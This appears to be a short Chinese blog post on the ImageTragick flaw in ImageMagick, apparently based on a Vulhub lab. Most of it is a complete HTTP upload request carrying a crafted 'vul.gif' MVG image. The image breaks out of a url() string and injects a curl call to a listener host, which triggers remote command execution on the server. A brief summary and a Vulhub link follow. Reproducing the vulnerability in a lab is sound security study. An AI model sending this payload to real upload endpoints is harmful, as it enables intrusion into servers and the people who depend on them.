POST /upload.php HTTP/1.1
Host: your-ip
Content-Length: 315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydGYwkOC91nnON1ws
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
------WebKitFormBoundarydGYwkOC91nnON1ws
Content-Disposition: form-data; name="file_upload"; filename="vul.gif"
Content-Type: image/jpeg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "192.168.63.1:1234)'
pop graphic-context
------WebKitFormBoundarydGYwkOC91nnON1ws--

参考:https://github.com/vulhub/vulhub/blob/master/imagemagick/imagetragick/README.zh-cn.md
本文详细解析了ImageMagick中的一个严重漏洞——Imagetragick,通过上传特制的图片文件,攻击者可以远程执行代码。文章提供了具体的HTTP请求示例,展示了如何触发此漏洞,并引用了GitHub上的Vulhub项目作为深入研究的资源。
2023

被折叠的 条评论
为什么被折叠?



